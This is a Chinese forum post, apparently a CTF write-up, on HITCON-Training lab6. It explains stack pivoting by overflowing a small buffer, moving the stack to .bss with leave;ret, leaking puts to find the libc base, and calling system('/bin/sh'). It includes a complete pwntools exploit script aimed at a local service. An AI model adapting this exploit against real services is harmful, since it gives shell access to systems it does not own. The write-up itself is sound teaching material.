学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

435

积分

2

好友

12

主题

[Pwn] 栈转移

发表于 2019-4-9 21:06:01 | 查看: 4985| 回复: 0

相关题目:

本帖最后由 Thunder_J 于 2019-4-9 21:07 编辑

0x00:前言

栈转移(stack immigration)主要是为了解决栈溢出可以溢出空间大小不足的问题,HITCON-Training-master 的 lab6 就是用的这个原理,我们来实践一下这道题目。

0x01:实例

题目链接:
https://github.com/scwuaptx/HITCON-Training/blob/master/LAB/lab6/migration

运行一下程序,结构很简单,接受完输入就退出,保护开启了堆栈不可执行

Thunder_J@Thunder_J-virtual-machine:~/桌面$ ./migration 
Try your best :
aaaa
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec migration 
  • '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/migration'     Arch:     i386-32-little     RELRO:    Full RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      No PIE (0x8048000)
  • 放入IDA分析一下,漏洞很明显,read函数读 0x40 的大小,buf的大小只有0x28,我们可以利用0x40 - 0x28 = 0x18 的大小

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char buf; // [esp+0h] [ebp-28h]
    
      if ( count != 1337 )
        exit(1);
      ++count;
      setvbuf(_bss_start, 0, 2, 0);
      puts("Try your best :");
      return read(0, &buf, 0x40u);
    }

    题目的意思是让我们转移栈,我们可以通过改变ebp的值,再执行 leave ret 来实现对栈的转移,我们一共分三次 payload 发送,首先第一次我们将偏移找好,将ebp转移到bss+0x500处,然后调用read函数实现写bss+0x500处的内容,也就是payload2的内容

    # mov stack to bss + 0x500
    payload1 = 'a'*40 + p32(elf.bss() + 0x500) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)

    第二次payload我们通过泄露puts函数的地址计算出libc的基地址,然后调用read函数写bss+0x400处的内容,也就是payload3的内容

    # leak libc
    payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
    payload2 += p32(0) + p32(buf2) + p32(0x100)

    payload3的内容就更加清晰了,直接调用system("\bin\sh")来getshell

    payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)

    总结来说就是因为溢出我们可以利用的内容太小了,必须进行栈转移,转移到可以执行的地址来写我们的shellcode,把一个shellcode一步一步分开来写,最后getshell,总的exp如下:

    from pwn import *
    
    context.log_level = 'debug'
    r = remote('127.0.0.1',4000)
    #r = process('./migration')
    lib = ELF('/lib32/libc.so.6')
    elf = ELF('./migration')
    
    read_plt = elf.symbols['read']
    puts_plt = elf.symbols['puts']
    read_got = elf.got['read']
    puts_got = elf.got['puts']
    puts_lib = lib.symbols['puts']
    system_lib = lib.symbols['system']
    
    buf = elf.bss() + 0x500
    buf2 = elf.bss() + 0x400
    
    pop_ebx = 0x0804836d
    pop3ret = 0x8048569
    leave_ret = 0x08048418
    
    r.recvuntil(':\n')
    
    # mov stack to bss + 0x500
    payload1 = 'a'*40 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) +p32(0x100)
    
    r.send(payload1)
    sleep(0.1)
    # leak libc
    payload2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
    payload2 += p32(0) + p32(buf2) + p32(0x100)
    
    r.send(payload2)
    sleep(0.1)
    puts_addr = u32(r.recv(4))
    
    print "puts_addr:" + hex(puts_addr)
    
    libc_base = puts_addr - puts_lib
    print "libc base is " + hex(libc_base)
    system_addr = libc_base + system_lib
    binsh_libc = lib.search("/bin/sh").next()
    binsh = binsh_libc + libc_base
    payload3 = p32(buf) + p32(system_addr) + 'bbbb' + p32(binsh)
    r.send(payload3)
    sleep(0.1)
    
    r.interactive()

    0x02:总结

    这种方法利用的地方比较奇特,还是需要多加锻炼
    参考链接:
    https://blog.csdn.net/zszcr/article/details/79841848

    温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    已有 1 人评分荣耀 理由
    xuenixiang + 5 学到了!很精彩

    总评分: 荣耀 + 5   查看全部评分

    https://thunderjie.github.io/

    小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

    GMT+8, 2024-4-20 14:09 , Processed in 0.200703 second(s), 37 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表